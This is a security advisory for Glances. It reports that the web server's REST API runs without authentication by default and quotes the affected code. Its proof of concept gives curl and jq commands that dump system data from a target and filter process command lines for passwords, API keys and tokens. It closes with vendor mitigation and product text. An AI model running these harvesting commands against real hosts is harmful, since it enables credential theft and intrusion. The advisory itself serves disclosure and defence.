GHSA-wvxv-4j8q-4wjq
Glances exposes the REST API without authentication
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File:
glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .
<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json
<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wvxv-4j8q-4wjq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wvxv-4j8q-4wjq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wvxv-4j8q-4wjq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wvxv-4j8q-4wjq in your dependencies?
O3 detects GHSA-wvxv-4j8q-4wjq across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.